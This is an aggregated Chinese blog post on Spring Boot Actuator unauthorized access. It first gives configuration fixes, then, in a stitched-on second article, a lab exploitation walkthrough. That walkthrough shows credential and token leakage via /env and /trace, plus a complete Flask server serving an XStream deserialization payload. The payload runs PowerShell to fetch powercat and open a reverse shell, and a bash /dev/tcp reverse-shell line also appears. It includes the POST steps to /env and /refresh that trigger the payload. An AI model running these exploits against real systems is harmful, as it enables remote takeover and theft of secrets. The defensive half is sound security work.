SpringBoot Actuator未授权访问漏洞修复

Posted Java海

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SpringBoot Actuator未授权访问漏洞修复相关的知识,希望对你有一定的参考价值。

1.写在前面

目前SpringBoot得框架,越来越广泛,大多数中小型企业,在开发新项目得时候。后端语言使用java得情况下,首选都会使用到SpringBoot。

在很多得一些开源得框架中,例如: ruoyi若以,这些。

不知道是出于什么原因?我们都会在这些框架中得pom文件中找到 SpringBoot Actuator 的依赖。

嘿,这 Actuator 估计很多人都没有真真实实使用过,但是就会出现在pom文件中;这样导致,在做一些安全漏洞测试的时候,会出现漏洞问题。

例如下面:

对于这些漏洞,我们开始修复喽!!!

2.问题描述

Actuator 是Springboot提供的用来对应用系统进行自省和监控的功能模块,借助于Actuator开发者可以很方便地对应用系统某些监控指标进行查看、统计等。

Actuator 的核心是端点 Endpoint,它用来监视应用程序及交互,spring-boot-actuator 中已经内置了非常多的Endpoint(health、info、beans、metrics、httptrace、shutdown等等),同时也允许我们自己扩展自己的Endpoints。每个 Endpoint 都可以启用和禁用。要远程访问 Endpoint,还必须通过 JMX 或 HTTP 进行暴露,大部分应用选择HTTP。

好了, Actuator 看起来还是挺好的,可以用来监控。不过大部分企业,估计都没咋用过,也就享受不到 Actuator 的好处了。

Actuator 在带来方便的同时,如果没有管理好,会导致一些敏感的信息泄露;可能会导致我们的服务器,被暴露到外网,服务器可能会沦陷。那我们来看一下,会出现什么安全的问题?

3.安全问题

例如,我们可以访问:

http://localhost:7200/actuator/env

看到上面的信息了吗?哇,我们居然能看到数据库连接地址,账号密码等信息。

这些地址如果不加以控制,对于一些有技术基础的人员来说,这不得是一个很严重的漏洞?估计是t0级别的漏洞了。

对于这些,我们要如何进行控制呢?

4.禁止方法

在 llsydn-dev.properties 增加配置如下

management.endpoints.web.exposure.exclude=env,heapdump,threaddump,mappings
复制代码

这样 env 就被禁止访问了。

然后我们再来访问一下比如:

好了,可以看到访问就出现404了,表示已经禁了。

5.完全禁用Actuator

对于上面的修改,其实已经可以实现禁止了env的方法,也就基本上都能控制到相应的接口信息,基本上也能做到了安全。

但是在做等保安全漏洞扫描的时候,还是会扫出来响应的漏洞,那其实,还是没有解决掉这个漏洞。那我们能不能完全禁止 Actuator 呢?

答案,肯定是可以的!!!

例如下面这个配置:

# 完全禁用actuator
management.server.port=-1
复制代码

这样配,等保做安全漏洞扫描,就不会扫描出该漏洞了!!!

嘿,再也不用担心 Actuator 漏洞问题!!!

嘿,今天又是准时下班的一天!!!

好了,以上就是 SpringBoot Actuator未授权访问漏洞修复 的分享了。

可能内容有点短,但都是干货喔!!!

个人理解,可能也不够全面,班门弄斧了。

如果觉得有收获的,帮忙 点赞、评论、收藏 一下呗!!!

Springboot未授权访问

Actuator简介

Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息。

如上所言,actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:

springboot框架站点识别

  • 通过 web 应用程序网页标签的图标(favicon.ico)

如果 web 应用开发者没有修改 springboot web 应用的默认图标,那么进入应用首页后可以看到如下默认的绿色小图标:

访问:http://10.1.1.137:8090,可以看到小绿叶图标,说明web应用使用的框架为springboot框架。

  • 通过 springboot 框架默认报错页面

如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下(此处仅以 404 报错页面为例):

访问一个随便构造的路径,比如:http://10.1.1.137:8090/index,出现如下报错页面说明web网站使用了springboot框架。

获取执行器端点路径

通过枚举的方式

在确认当前 web 站点是 springboot 框架后,枚举当前站点的所有一级、二级甚至三级目录,然后对每个目录进行探测,查看目录下是否存在 actuator 执行端点路径即可

漏洞利用

目标站点 http://10.1.1.137:8090/

数据库账户密码泄露

由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以拿下 mysql、mangodb 数据库;这个主要通过/env 路径获取这些服务的配置信息,比如如下站点存在 actuator 配置不当漏洞,通过其/env 路径,可获得 mysql、mangodb 的用户名及密码(这里由于环境原因没有配置明文,实际的生产环境会存在明文密码的现象)。

查看http历史消息

这个主要通过访问/trace 路径,比如如下站点存在 actuator 配置不当漏洞,在其 trace 路径下,除了记录有基本的 HTTP 请求信息(时间戳、HTTP 头等),实际环境中还会存在有用户 token、cookie 字段

trace 下可以看到我们之前访问的记录

利用反序列化进行getshell

通过修改env配置文件进行xstream反序列化

前置条件:Eureka-Client <1.8.7(多见于Spring Cloud Netflix)

需要以下两个包(环境已安装)

spring-boot-starter-actuator(/refresh刷新配置需要)

spring-cloud-starter-netflix-eureka-client(功能依赖)

exp

# linux反弹shell bash -i >&amp; /dev/tcp/192.168.20.82/9999 0>&amp;1
# windows反弹shell
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString(\'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1\');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>

from flask import Flask, Response

app = Flask(__name__)

@app.route(\'/xstream\', defaults={\'path\': \'\'})
@app.route(\'/xstream/<path:path>\')
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                    <string>powershell</string>
                    <string>IEX (New-Object System.Net.Webclient).DownloadString(\'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1\');</string>
                      <string>powercat -c [vps地址] -p 2333 -e cmd</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype=\'application/xml\')
if __name__ == "__main__":
    app.run(host=\'0.0.0.0\', port=2333)

exp配置 这里我们攻击机IP 10.1.1.135

前面的箭头为接收反弹shell的ip和端口,后面的端口为我们启动这个脚本而启动的端口

利用python3启动exploit.py脚本

另一个shell里nc 监听1234端口

nc -lvvp 1234


写入配置

访问http://10.1.1.137:8090/env然后利用burpsuite抓包

将get请求改为post请求

Post数据为 eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream (IP 为本机IP,或者vpsIP)

然后再访问:http://10.1.1.137:8090/refresh抓包

将get请求更改为post请求

如下

然后反弹一个shell回来

以上是关于SpringBoot Actuator未授权访问漏洞修复的主要内容,如果未能解决你的问题,请参考以下文章

漏洞复现 - - - Springboot未授权访问

Spring Boot Actuator 漏洞复现合集

Spring Boot /actuator 返回 404 未找到

常见未授权访问漏洞汇总

Spring Boot 2.0 Actuator git 属性未添加到 /info

SpringBoot druid监控页未授权访问漏洞